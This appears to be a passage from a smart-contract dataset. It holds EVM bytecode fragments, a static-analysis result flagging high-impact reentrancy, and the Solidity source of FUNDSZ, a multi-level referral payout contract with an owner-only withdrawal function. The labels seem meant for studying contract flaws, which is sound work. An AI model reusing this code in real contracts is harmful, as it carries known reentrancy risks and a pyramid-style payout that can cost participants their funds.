2565b91506131d38261316c565b604082019050919050565b600060208201905081810360008301526131f7816131bb565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613234601983612692565b915061323f826131fe565b602082019050919050565b6000602082019050818103600083015261326381613227565b9050919050565b6000613275826127b4565b9150613280836127b4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b5576132b4612c5d565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f6601a83612692565b9150613301826132c0565b602082019050919050565b60006020820190508181036000830152613325816132e9565b9050919050565b6000613337826127b4565b9150613342836127b4565b92508282101561335557613354612c5d565b5b828203905092915050565b600061336b826127b4565b9150613376836127b4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133af576133ae612c5d565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f4826127b4565b91506133ff836127b4565b92508261340f5761340e6133ba565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613476602183612692565b91506134818261341a565b604082019050919050565b600060208201905081810360008301526134a581613469565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613508602a83612692565b9150613513826134ac565b604082019050919050565b60006020820190508181036000830152613537816134fb565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357381612776565b82525050565b6000613585838361356a565b60208301905092915050565b6000602082019050919050565b60006135a98261353e565b6135b38185613549565b93506135be8361355a565b8060005b838110156135ef5781516135d68882613579565b97506135e183613591565b9250506001810190506135c2565b5085935050505092915050565b600060a0820190506136116000830188612860565b61361e6020830187612de1565b8181036040830152613630818661359e565b905061363f6060830185612b58565b61364c6080830184612860565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368c601b83612692565b915061369782613656565b602082019050919050565b600060208201905081810360008301526136bb8161367f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202b7acc96f6d581f4f9de217a0606bfbffefd69d82711760ad61153de9769740c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,441
0x353a14f7e928be64e9468247c8de1eb14cf3187d
/** *Submitted for verification at Etherscan.io on 2021-02-11 */ /** *Submitted for verification at Etherscan.io on 2021-02-04 */ pragma solidity 0.5.16; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract FUNDSZ{ using SafeMath for uint; struct UserStruct { bool isExist; uint id; uint referrerID; uint orginalRefID; uint placementSponser; uint donated; uint totalEarnedETH; uint teamNetworkEarnETH; bool blocked; address[] personallyEnrolled; address[] referrals; uint membershipExpired; } address payable public admin; uint REFERRER_1_LEVEL_LIMIT = 4; uint public PERIOD_LENGTH = 30 days; uint public blockTime = 90 days; uint public GRACE_PERIOD = 7 days; uint MatchingBonusUplineLimit = 5; uint public usdPrice; uint public currUserID = 0; bool public lockStatus; mapping (address => UserStruct) public users; mapping (uint => address) public userList; mapping (uint => uint) public MEMBERSHIP_PRICE; mapping(address => uint) matrixCommissionBreakage; mapping(address => uint) commissionsReceivedValue; mapping(address => uint) adminBreakageAmount; event MatrixCommission( address indexed _user, address _level1, address _level2, address _level3, address _level4, address _level5, address _level6, address _level7, address _level8, uint _levelValue ); event MatchingCarBonus( address indexed _user, address _sponser, address[] receiver, uint _value ); event RefBonus( address indexed _user, address _sponser, uint _value ); event InfinityHouseBonus( address _user, address _upline9, address _upline10, address _upline11, address _upline12, uint _uplineAmount9To12 ); event regMemberEvent( address indexed _user, address indexed _referrer, uint _value, uint _vipID, uint _time ); event BuyMembershipEvent( address indexed _user, uint _value, uint _vipID, uint _time ); event BreakageEvent( address indexed _user, uint _value, uint _time ); constructor() public { admin = msg.sender; UserStruct memory userStruct; currUserID++; userStruct = UserStruct({ isExist: true, id: currUserID, referrerID: 0, orginalRefID: 0, placementSponser: 0, donated:2, teamNetworkEarnETH:0, totalEarnedETH: 0, blocked:false, personallyEnrolled : new address[](0), referrals: new address[](0), membershipExpired:55555555555 }); users[admin] = userStruct; userList[currUserID] = admin; MEMBERSHIP_PRICE[1] = 10; MEMBERSHIP_PRICE[2] = 50; } modifier contractStatus(){ require(lockStatus == false,"contract locked"); _; } modifier OnlyOwner(){ require(msg.sender == admin,"OnlyOwner"); _; } function() external payable OnlyOwner{ } function subscription(uint _placementSponser, uint _referrerID, uint _orginalRefID, uint _usdValue) public contractStatus payable returns(bool){ require(!users[msg.sender].isExist,"User exist"); require(!isContract(msg.sender),"Invalid address"); require((_referrerID > 0) && (_referrerID <= currUserID),"Invalid referrerID"); require((_orginalRefID > 0) && (_orginalRefID <= currUserID),"Invalid referrerID"); require((_placementSponser > 0) && (_placementSponser <= currUserID),"Invalid referrerID"); require(_usdValue == 10 || (_usdValue == 50),"Invalid membership"); require(usdPrice > 0, "usdPrice must be greater than zero"); require(msg.value == usdPrice.mul(_usdValue),"Invalid value"); UserStruct memory userStruct; currUserID++; userStruct = UserStruct({ isExist: true, id: currUserID, referrerID: _referrerID, orginalRefID : _orginalRefID, placementSponser : _placementSponser, donated:0, teamNetworkEarnETH:0, // referralTeamNetWorkEarnings : 0, totalEarnedETH: 0, blocked:false, personallyEnrolled : new address[](0), referrals: new address[](0), membershipExpired: now.add(PERIOD_LENGTH) }); users[msg.sender] = userStruct; userList[currUserID] = msg.sender; uint _DonateID; if(MEMBERSHIP_PRICE[1] == _usdValue) _DonateID = 1; else _DonateID = 2; users[msg.sender].donated = _DonateID; users[userList[_placementSponser]].personallyEnrolled.push(msg.sender); users[userList[_referrerID]].referrals.push(msg.sender); address upline_8_address = matrixCommission(msg.sender,msg.value); referralBonus(msg.sender,msg.value); matchingCarBonus(msg.sender); infinityHouseBonus(upline_8_address,msg.value); uint breakage = msg.value.sub(commissionsReceivedValue[msg.sender]); require(address(uint160(admin)).send(breakage), "breakage amount transfer failed"); users[admin].totalEarnedETH = users[admin].totalEarnedETH.add(breakage); emit regMemberEvent(msg.sender, userList[_referrerID], msg.value, _DonateID, now); emit BreakageEvent(msg.sender, adminBreakageAmount[msg.sender].add(breakage), now); return true; } function donate(uint _usdValue, uint _days) public contractStatus payable returns(bool){ require(_days > 0,"_days must be greater than zero"); require(users[msg.sender].isExist,"User does not exist"); require(!isContract(msg.sender),"Invalid address"); require((_usdValue == 10 || _usdValue == 50), "Invalid membership"); require(usdPrice > 0, "usdPrice must be greater than zero"); require(msg.value == (usdPrice.mul(_usdValue)).mul(_days),"Invalid value"); uint _DonateID; if(MEMBERSHIP_PRICE[1] == _usdValue) _DonateID = 1; else _DonateID = 2; if(users[msg.sender].donated == _DonateID) users[msg.sender].membershipExpired = users[msg.sender].membershipExpired.add(PERIOD_LENGTH.mul(_days)); else{ users[msg.sender].membershipExpired = now.add(PERIOD_LENGTH.mul(_days)); users[msg.sender].donated = _DonateID; } address upline_8_address = matrixCommission(msg.sender,msg.value); matchingCarBonus(msg.sender); referralBonus(msg.sender,msg.value); infinityHouseBonus(upline_8_address,msg.value); uint breakage = msg.value.sub(commissionsReceivedValue[msg.sender]); require(address(uint160(admin)).send(breakage), "breakage amount transfer failed"); users[admin].totalEarnedETH = users[admin].totalEarnedETH.add(breakage); emit BuyMembershipEvent(msg.sender, msg.value, _DonateID, now); emit BreakageEvent(msg.sender, adminBreakageAmount[msg.sender].add(breakage), now); return true; } function updateUSDPrice( uint _usdPrice) public OnlyOwner returns(bool){ require(_usdPrice > 0, "_usdPrice must be greater than zero"); usdPrice = _usdPrice; return true; } mapping( address => address[]) bonusEligibleUsers; // Matrix Commission function matrixCommission(address _user, uint _amount) internal returns(address){ matrixCommissionBreakage[msg.sender] = 0; commissionsReceivedValue[msg.sender] = 0; adminBreakageAmount[msg.sender] = 0; bonusEligibleUsers[msg.sender] = new address[](0); address[8] memory matrix_commission; matrix_commission[0] = rollUp(userList[users[_user].referrerID]); matrix_commission[1] = rollUp(userList[users[matrix_commission[0]].referrerID]); matrix_commission[2] = rollUp(userList[users[matrix_commission[1]].referrerID]); matrix_commission[3] = rollUp(userList[users[matrix_commission[2]].referrerID]); matrix_commission[4] = rollUp(userList[users[matrix_commission[3]].referrerID]); matrix_commission[5] = rollUp(userList[users[matrix_commission[4]].referrerID]); matrix_commission[6] = rollUp(userList[users[matrix_commission[5]].referrerID]); matrix_commission[7] = rollUp(userList[users[matrix_commission[6]].referrerID]); for(uint i = 0; i < matrix_commission.length; i++){ if(matrix_commission[i] == address(0)){ matrix_commission[i] = userList[1]; } } uint matrix_commission_upline_percentage = (_amount.mul(8 ether).div(10**20)); for(uint i=0; i<matrix_commission.length; i++){ if(matrix_commission[i] == userList[1]){ uint commission = matrix_commission_upline_percentage.mul(matrix_commission.length.sub(i)); require(address(uint160(matrix_commission[i])).send(commission),"transfer failed"); users[matrix_commission[i]].totalEarnedETH = users[matrix_commission[i]].totalEarnedETH.add(commission); users[matrix_commission[i]].teamNetworkEarnETH = users[matrix_commission[i]].teamNetworkEarnETH.add(commission); commissionsReceivedValue[msg.sender] = commissionsReceivedValue[msg.sender].add(commission); break; } else{ require(address(uint160(matrix_commission[i])).send(matrix_commission_upline_percentage),"transfer failed"); users[matrix_commission[i]].totalEarnedETH = users[matrix_commission[i]].totalEarnedETH.add(matrix_commission_upline_percentage); users[matrix_commission[i]].teamNetworkEarnETH = users[matrix_commission[i]].teamNetworkEarnETH.add(matrix_commission_upline_percentage); commissionsReceivedValue[msg.sender] = commissionsReceivedValue[msg.sender].add(matrix_commission_upline_percentage); } } adminBreakageAmount[msg.sender] = adminBreakageAmount[msg.sender].add(matrix_commission_upline_percentage.mul(matrixCommissionBreakage[msg.sender])); emit MatrixCommission( _user, bonusEligibleUsers[msg.sender][0], bonusEligibleUsers[msg.sender][1], bonusEligibleUsers[msg.sender][2], bonusEligibleUsers[msg.sender][3], bonusEligibleUsers[msg.sender][4], bonusEligibleUsers[msg.sender][5], bonusEligibleUsers[msg.sender][6], bonusEligibleUsers[msg.sender][7], matrix_commission_upline_percentage ); return matrix_commission[7]; } // roll up - matrix commission function rollUp(address _user) internal returns(address) { if(!users[_user].isExist) { matrixCommissionBreakage[msg.sender]++; bonusEligibleUsers[msg.sender].push(_user); return userList[1]; } if((users[_user].membershipExpired.add(GRACE_PERIOD) >= now) && (!users[_user].blocked)){ bonusEligibleUsers[msg.sender].push(_user); return _user; } else if( ((users[_user].membershipExpired).add(blockTime.add(GRACE_PERIOD)) < now) && (!users[_user].blocked)) { users[_user].blocked = true; } return rollUp(userList[users[_user].referrerID]); } mapping(address => address[]) public _teamNetworkEarnWallet; // Matching Commission function matchingCarBonus(address _user) internal { address sponser = userList[users[_user].referrerID]; uint _carBonus; if(sponser == address(0)) sponser = userList[1]; _teamNetworkEarnWallet[sponser] = new address[](0); if(((users[sponser].membershipExpired).add(blockTime.add(GRACE_PERIOD)) < now) && (!users[sponser].blocked)){ users[sponser].blocked = true; } if(sponser != userList[1]) getAllDirectSponsor( sponser, userList[users[sponser].referrerID], 0); if((_teamNetworkEarnWallet[sponser].length > 0) && (users[sponser].teamNetworkEarnETH > 0)){ _carBonus = (users[sponser].teamNetworkEarnETH.mul(25 ether).div(100 ether)).div(MatchingBonusUplineLimit); if(_carBonus > 0){ for(uint j=0; j<_teamNetworkEarnWallet[sponser].length;j++){ require(address(uint160(_teamNetworkEarnWallet[sponser][j])).send(_carBonus),"transfer car bonus failed"); users[_teamNetworkEarnWallet[sponser][j]].totalEarnedETH = users[_teamNetworkEarnWallet[sponser][j]].totalEarnedETH.add(_carBonus); commissionsReceivedValue[msg.sender] = commissionsReceivedValue[msg.sender].add(_carBonus); } if(_teamNetworkEarnWallet[sponser].length != MatchingBonusUplineLimit){ uint breakage = MatchingBonusUplineLimit.sub(_teamNetworkEarnWallet[sponser].length); if(breakage > 0){ require(address(uint160(admin)).send(_carBonus.mul(breakage)),"transfer car bonus failed"); users[admin].totalEarnedETH = users[admin].totalEarnedETH.add(_carBonus.mul(breakage)); adminBreakageAmount[msg.sender] = adminBreakageAmount[msg.sender].add(_carBonus.mul(breakage)); commissionsReceivedValue[msg.sender] = commissionsReceivedValue[msg.sender].add(_carBonus.mul(breakage)); } } emit MatchingCarBonus( _user, sponser, _teamNetworkEarnWallet[sponser], _carBonus ); } } } // get all qualified direct sponsers. function getAllDirectSponsor(address _sponser, address _directSponser, uint _limit) internal returns(bool){ uint referralCount = rollUpD50Enrolled( _directSponser, 0, users[_directSponser].referrals.length-1); if(referralCount >= 1) _teamNetworkEarnWallet[_sponser].push(_directSponser); if(_directSponser == userList[1]) return true; _limit++; if(_limit == MatchingBonusUplineLimit) return true; return getAllDirectSponsor( _sponser, userList[users[_directSponser].referrerID], _limit); } // roll up $50 - Matching bonus function rollUpD50Enrolled(address _user, uint _referralCount, uint _referralIndex) internal returns(uint){ if(((users[users[_user].referrals[_referralIndex]].membershipExpired).add(GRACE_PERIOD) >= now) && (users[users[_user].referrals[_referralIndex]].donated == 2)){ _referralCount++; } if(_referralIndex == 0) return _referralCount; _referralIndex--; return rollUpD50Enrolled( _user, _referralCount, _referralIndex); } // Referral Commission function referralBonus(address _user, uint _value) internal{ address sponser = userList[users[_user].placementSponser]; uint _refBonus = ((_value).mul(12 ether).div(10**20)); if(sponser == address(0)) sponser = userList[1]; if(((users[sponser].membershipExpired).add(blockTime.add(GRACE_PERIOD)) < now) && (!users[sponser].blocked)) users[sponser].blocked = true; if(users[sponser].blocked){ sponser = admin; } require(address(uint160(sponser)).send(_refBonus),"transfer failed"); users[sponser].totalEarnedETH = users[sponser].totalEarnedETH.add(_refBonus); commissionsReceivedValue[msg.sender] = commissionsReceivedValue[msg.sender].add(_refBonus); if(sponser != userList[users[_user].placementSponser]) adminBreakageAmount[msg.sender] = adminBreakageAmount[msg.sender].add(_refBonus); else{ emit RefBonus( _user, sponser, _refBonus ); } } mapping(address => address[]) _addressList; // Infinity Commission function infinityHouseBonus(address _user, uint _amount) internal { address[4] memory house_bonus; _addressList[msg.sender] = new address[](0); bonusEligibleUsers[msg.sender] = new address[](0); _addressList[msg.sender].push(userList[1]); house_bonus[0] = matchingHouseBonusRollUp(userList[users[_user].referrerID],usdPrice.mul(500000), _addressList[msg.sender]); // 2% _addressList[msg.sender].push(house_bonus[0]); house_bonus[1] = matchingHouseBonusRollUp(userList[users[_user].referrerID],usdPrice.mul(200000), _addressList[msg.sender]); // 2% if((house_bonus[1] == userList[1])) house_bonus[1] = house_bonus[0]; _addressList[msg.sender].push(house_bonus[1]); house_bonus[2] = matchingHouseBonusRollUp(userList[users[_user].referrerID],usdPrice.mul(100000), _addressList[msg.sender]); // 2% if((house_bonus[2] == userList[1])) house_bonus[2] = house_bonus[1]; _addressList[msg.sender].push(house_bonus[2]); house_bonus[3] = matchingHouseBonusRollUp(userList[users[_user].referrerID], usdPrice.mul(20000), _addressList[msg.sender]); // 2% if((house_bonus[3] == userList[1])) house_bonus[3] = house_bonus[2]; uint houseUpline_9_12 = (_amount.mul(2 ether).div(10**20)); for(uint i=0; i<house_bonus.length;i++){ require(address(uint160(house_bonus[i])).send(houseUpline_9_12),"transfer failed"); users[house_bonus[i]].totalEarnedETH = users[house_bonus[i]].totalEarnedETH.add(houseUpline_9_12); commissionsReceivedValue[msg.sender] = commissionsReceivedValue[msg.sender].add(houseUpline_9_12); } emit InfinityHouseBonus( msg.sender, bonusEligibleUsers[msg.sender][0], bonusEligibleUsers[msg.sender][1], bonusEligibleUsers[msg.sender][2], bonusEligibleUsers[msg.sender][3], houseUpline_9_12 ); } // roll up - House bonus function matchingHouseBonusRollUp(address _user,uint _usdETHValue, address[] memory __previousAddress) internal returns(address) { for(uint i=0;i<__previousAddress.length;i++){ if((_user == __previousAddress[i]) && (_user != userList[1])) matchingHouseBonusRollUp(userList[users[_user].referrerID],_usdETHValue, __previousAddress); } if(!users[_user].isExist) { bonusEligibleUsers[msg.sender].push(_user); return userList[1]; } if(((users[_user].membershipExpired).add(GRACE_PERIOD) >= now) && (users[_user].donated == 2) && (!users[_user].blocked)) { uint referralCount; if(users[_user].referrals.length > 0) referralCount = rollUpD50FL( _user, 0, users[_user].referrals.length-1); if(referralCount >= 4){ if(users[_user].totalEarnedETH >= _usdETHValue){ bonusEligibleUsers[msg.sender].push(_user); return _user; } } } return matchingHouseBonusRollUp(userList[users[_user].referrerID],_usdETHValue, __previousAddress); } // roll up $50 - House bonus function rollUpD50FL(address _user, uint _referralCount, uint _referralIndex) internal returns(uint){ if(((users[users[_user].referrals[_referralIndex]].membershipExpired).add(GRACE_PERIOD) >= now) && (users[users[_user].referrals[_referralIndex]].donated == 2)){ _referralCount++; } if(_referralIndex == 0) return _referralCount; _referralIndex--; return rollUpD50FL( _user, _referralCount, _referralIndex); } function updateGracePeriod(uint _gracePeriod) public OnlyOwner returns(bool) { GRACE_PERIOD = _gracePeriod; return true; } function failSafe(address payable _toUser, uint _amount) public OnlyOwner returns (bool) { require(_toUser != address(0), "Invalid Address"); require(address(this).balance >= _amount, "Insufficient balance"); (_toUser).transfer(_amount); return true; } function contractLock(bool _lockStatus) public OnlyOwner returns(bool) { lockStatus = _lockStatus; return true; } function updateBlockTime(uint _newBlockTime) public OnlyOwner returns(bool) { blockTime = _newBlockTime; return true; } function updateMatchingBonusUplineLimit(uint _MatchingBonusUplineLimit) public OnlyOwner returns(bool) { require(_MatchingBonusUplineLimit > 0, "MatchingBonusUplineLimit must be greater than zero"); MatchingBonusUplineLimit = _MatchingBonusUplineLimit; return true; } function updateAdminWallet( address payable _newAdminWallet) public OnlyOwner returns(bool){ require(_newAdminWallet != address(0), "_newAdminWallet must not be zero wallet"); UserStruct memory userStruct; userStruct = UserStruct({ isExist: true, id: 1, referrerID: 0, orginalRefID: 0, placementSponser: 0, donated: users[admin].donated, teamNetworkEarnETH: users[admin].teamNetworkEarnETH, totalEarnedETH: users[admin].totalEarnedETH, blocked: users[admin].blocked, personallyEnrolled : users[admin].personallyEnrolled, referrals: users[admin].referrals, membershipExpired:users[admin].membershipExpired }); UserStruct memory userStruct_; users[admin] = userStruct_; admin = _newAdminWallet; users[admin] = userStruct; userList[1] = admin; return true; } function isContract(address account) public view returns (bool) { uint32 size; assembly { size := extcodesize(account) } if(size != 0) return true; return false; } function viewMembershipExpired(address _user) public view returns(uint) { return users[_user].membershipExpired; } function viewUserReferral(address _user) public view returns(address[] memory) { return users[_user].personallyEnrolled; } function viewUserDirectReferral(address _user) public view returns(address[] memory) { return users[_user].referrals; } }
0x60806040526004361061014b5760003560e01c8063854755dd116100b6578063c1a287e21161006f578063c1a287e214610569578063d47fc70b1461057e578063e36bd90d146105a8578063e7a891b9146105d2578063f43accef146105e7578063f851a4401461061a5761014b565b8063854755dd146103f35780639f4216e814610448578063a478656b14610472578063a4bb170d1461049e578063a87430ba146104b3578063bddd5cf91461053a5761014b565b806352fd9f131161010857806352fd9f13146102f45780635664b1991461032d57806356a64143146103575780635ab98d5a146103815780635eec0870146103ab5780636619aa86146103de5761014b565b80630cdd53f61461019857806316279055146101cf5780633e89340f14610202578063423a273e1461021757806348b151661461029a5780634a4baa8f146102c1575b6000546001600160a01b03163314610196576040805162461bcd60e51b815260206004820152600960248201526827b7363ca7bbb732b960b91b604482015290519081900360640190fd5b005b6101bb600480360360408110156101ae57600080fd5b508035906020013561062f565b604080519115158252519081900360200190f35b3480156101db57600080fd5b506101bb600480360360208110156101f257600080fd5b50356001600160a01b0316610b1b565b34801561020e57600080fd5b506101bb610b40565b34801561022357600080fd5b5061024a6004803603602081101561023a57600080fd5b50356001600160a01b0316610b49565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561028657818101518382015260200161026e565b505050509050019250505060405180910390f35b3480156102a657600080fd5b506102af610bc2565b60408051918252519081900360200190f35b3480156102cd57600080fd5b5061024a600480360360208110156102e457600080fd5b50356001600160a01b0316610bc8565b34801561030057600080fd5b506101bb6004803603604081101561031757600080fd5b506001600160a01b038135169060200135610c3f565b34801561033957600080fd5b506101bb6004803603602081101561035057600080fd5b5035610d64565b34801561036357600080fd5b506101bb6004803603602081101561037a57600080fd5b5035610db9565b34801561038d57600080fd5b506101bb600480360360208110156103a457600080fd5b5035610e4d565b3480156103b757600080fd5b506101bb600480360360208110156103ce57600080fd5b50356001600160a01b0316610ea2565b3480156103ea57600080fd5b506102af6112a9565b3480156103ff57600080fd5b5061042c6004803603604081101561041657600080fd5b506001600160a01b0381351690602001356112af565b604080516001600160a01b039092168252519081900360200190f35b34801561045457600080fd5b5061042c6004803603602081101561046b57600080fd5b50356112e4565b34801561047e57600080fd5b506101bb6004803603602081101561049557600080fd5b503515156112ff565b3480156104aa57600080fd5b506102af611362565b3480156104bf57600080fd5b506104e6600480360360208110156104d657600080fd5b50356001600160a01b0316611368565b604080519a15158b5260208b0199909952898901979097526060890195909552608088019390935260a087019190915260c086015260e0850152151561010084015261012083015251908190036101400190f35b6101bb6004803603608081101561055057600080fd5b50803590602081013590604081013590606001356113c1565b34801561057557600080fd5b506102af611abc565b34801561058a57600080fd5b506102af600480360360208110156105a157600080fd5b5035611ac2565b3480156105b457600080fd5b506101bb600480360360208110156105cb57600080fd5b5035611ad4565b3480156105de57600080fd5b506102af611b68565b3480156105f357600080fd5b506102af6004803603602081101561060a57600080fd5b50356001600160a01b0316611b6e565b34801561062657600080fd5b5061042c611b8c565b60085460009060ff161561067c576040805162461bcd60e51b815260206004820152600f60248201526e18dbdb9d1c9858dd081b1bd8dad959608a1b604482015290519081900360640190fd5b600082116106d1576040805162461bcd60e51b815260206004820152601f60248201527f5f64617973206d7573742062652067726561746572207468616e207a65726f00604482015290519081900360640190fd5b3360009081526009602052604090205460ff1661072b576040805162461bcd60e51b8152602060048201526013602482015272155cd95c88191bd95cc81b9bdd08195e1a5cdd606a1b604482015290519081900360640190fd5b61073433610b1b565b15610778576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b82600a14806107875750826032145b6107cd576040805162461bcd60e51b81526020600482015260126024820152710496e76616c6964206d656d626572736869760741b604482015290519081900360640190fd5b60006006541161080e5760405162461bcd60e51b8152600401808060200182810382526022815260200180613d7a6022913960400191505060405180910390fd5b6108338261082785600654611b9b90919063ffffffff16565b9063ffffffff611b9b16565b3414610876576040805162461bcd60e51b815260206004820152600d60248201526c496e76616c69642076616c756560981b604482015290519081900360640190fd5b60016000908152600b6020527f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5cf548414156108b3575060016108b7565b5060025b3360009081526009602052604090206005015481141561091f57600254610907906108e8908563ffffffff611b9b16565b336000908152600960205260409020600b01549063ffffffff611bfb16565b336000908152600960205260409020600b0155610961565b60025461094390610936908563ffffffff611b9b16565b429063ffffffff611bfb16565b336000908152600960205260409020600b8101919091556005018190555b600061096d3334611c55565b9050610978336124b5565b6109823334612aed565b61098c8134612dad565b336000908152600d60205260408120546109ad90349063ffffffff61339d16565b600080546040519293506001600160a01b03169183156108fc0291849190818181858888f19350505050610a28576040805162461bcd60e51b815260206004820152601f60248201527f627265616b61676520616d6f756e74207472616e73666572206661696c656400604482015290519081900360640190fd5b600080546001600160a01b0316815260096020526040902060060154610a54908263ffffffff611bfb16565b600080546001600160a01b031681526009602090815260409182902060060192909255805134815291820185905242828201525133917fdf4a5a3e8ac30cafff1d7dd4654b11a89374558d02ad0f39044a56e257a73cd4919081900360600190a2336000818152600e60205260409020547fc0fe2184709185423c6dc8829e91b2270e906dbb37f243cfd56654d1eca1ef5d90610af7908463ffffffff611bfb16565b604080519182524260208301528051918290030190a2600193505050505b92915050565b6000813b63ffffffff811615610b35576001915050610b3b565b60009150505b919050565b60085460ff1681565b6001600160a01b038116600090815260096020908152604091829020600a01805483518184028101840190945280845260609392830182828015610bb657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610b98575b50505050509050919050565b60035481565b6001600160a01b038116600090815260096020818152604092839020909101805483518184028101840190945280845260609392830182828015610bb6576020028201919060005260206000209081546001600160a01b03168152600190910190602001808311610b985750505050509050919050565b600080546001600160a01b03163314610c8b576040805162461bcd60e51b815260206004820152600960248201526827b7363ca7bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038316610cd8576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b81471015610d24576040805162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b604482015290519081900360640190fd5b6040516001600160a01b0384169083156108fc029084906000818181858888f19350505050158015610d5a573d6000803e3d6000fd5b5060019392505050565b600080546001600160a01b03163314610db0576040805162461bcd60e51b815260206004820152600960248201526827b7363ca7bbb732b960b91b604482015290519081900360640190fd5b50600355600190565b600080546001600160a01b03163314610e05576040805162461bcd60e51b815260206004820152600960248201526827b7363ca7bbb732b960b91b604482015290519081900360640190fd5b60008211610e445760405162461bcd60e51b8152600401808060200182810382526023815260200180613d0f6023913960400191505060405180910390fd5b50600655600190565b600080546001600160a01b03163314610e99576040805162461bcd60e51b815260206004820152600960248201526827b7363ca7bbb732b960b91b604482015290519081900360640190fd5b50600455600190565b600080546001600160a01b03163314610eee576040805162461bcd60e51b815260206004820152600960248201526827b7363ca7bbb732b960b91b604482015290519081900360640190fd5b6001600160a01b038216610f335760405162461bcd60e51b8152600401808060200182810382526027815260200180613d536027913960400191505060405180910390fd5b610f3b613bae565b604080516101808101825260018082526020808301919091526000828401819052606083018190526080830181905280546001600160a01b03168082526009808452858320600581015460a0870152600681015460c0870152600781015460e0870152600881015460ff161515610100870152919092528183520180548451818402810184019095528085529293610120850193909283018282801561100a57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610fec575b5050509183525050600080546001600160a01b0316815260096020908152604091829020600a01805483518184028101840190945280845293820193909183018282801561108157602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611063575b5050509183525050600080546001600160a01b03168152600960209081526040909120600b015491015290506110b5613bae565b600080546001600160a01b03168152600960208181526040928390208451815490151560ff19918216178255828601516001830155938501516002820155606085015160038201556080850151600482015560a0850151600582015560c0850151600682015560e085015160078201556101008501516008820180549115159190951617909355610120840151805185949361115693908501920190613c13565b50610140820151805161117391600a840191602090910190613c13565b506101609190910151600b90910155600080546001600160a01b038087166001600160a01b031990921691909117808355168152600960208181526040928390208551815490151560ff19918216178255828701516001830155938601516002820155606086015160038201556080860151600482015560a0860151600582015560c0860151600682015560e086015160078201556101008601516008820180549115159190951617909355610120850151805186949361123993908501920190613c13565b50610140820151805161125691600a840191602090910190613c13565b506101609190910151600b90910155505060008054600191829052600a602052600080516020613d9c83398151915280546001600160a01b0319166001600160a01b039092169190911790559050919050565b60065481565b601060205281600052604060002081815481106112c857fe5b6000918252602090912001546001600160a01b03169150829050565b600a602052600090815260409020546001600160a01b031681565b600080546001600160a01b0316331461134b576040805162461bcd60e51b815260206004820152600960248201526827b7363ca7bbb732b960b91b604482015290519081900360640190fd5b506008805460ff1916911515919091179055600190565b60075481565b6009602052600090815260409020805460018201546002830154600384015460048501546005860154600687015460078801546008890154600b9099015460ff988916999798969795969495939492939192909116908a565b60085460009060ff161561140e576040805162461bcd60e51b815260206004820152600f60248201526e18dbdb9d1c9858dd081b1bd8dad959608a1b604482015290519081900360640190fd5b3360009081526009602052604090205460ff1615611460576040805162461bcd60e51b815260206004820152600a602482015269155cd95c88195e1a5cdd60b21b604482015290519081900360640190fd5b61146933610b1b565b156114ad576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b6000841180156114bf57506007548411155b611505576040805162461bcd60e51b8152602060048201526012602482015271125b9d985b1a59081c9959995c9c995c925160721b604482015290519081900360640190fd5b60008311801561151757506007548311155b61155d576040805162461bcd60e51b8152602060048201526012602482015271125b9d985b1a59081c9959995c9c995c925160721b604482015290519081900360640190fd5b60008511801561156f57506007548511155b6115b5576040805162461bcd60e51b8152602060048201526012602482015271125b9d985b1a59081c9959995c9c995c925160721b604482015290519081900360640190fd5b81600a14806115c45750816032145b61160a576040805162461bcd60e51b81526020600482015260126024820152710496e76616c6964206d656d626572736869760741b604482015290519081900360640190fd5b60006006541161164b5760405162461bcd60e51b8152600401808060200182810382526022815260200180613d7a6022913960400191505060405180910390fd5b60065461165e908363ffffffff611b9b16565b34146116a1576040805162461bcd60e51b815260206004820152600d60248201526c496e76616c69642076616c756560981b604482015290519081900360640190fd5b6116a9613bae565b6007805460019081019182905560408051610180810182529182526020808301939093528181018890526060820187905260808201899052600060a0830181905260c0830181905260e083018190526101008301819052815181815280850183526101208401528151908152928301905261014081019190915260025461016082019061173d90429063ffffffff611bfb16565b9052336000908152600960208181526040928390208451815490151560ff19918216178255828601516001830155938501516002820155606085015160038201556080850151600482015560a0850151600582015560c0850151600682015560e085015160078201556101008501516008820180549115159190951617909355610120840151805194955085946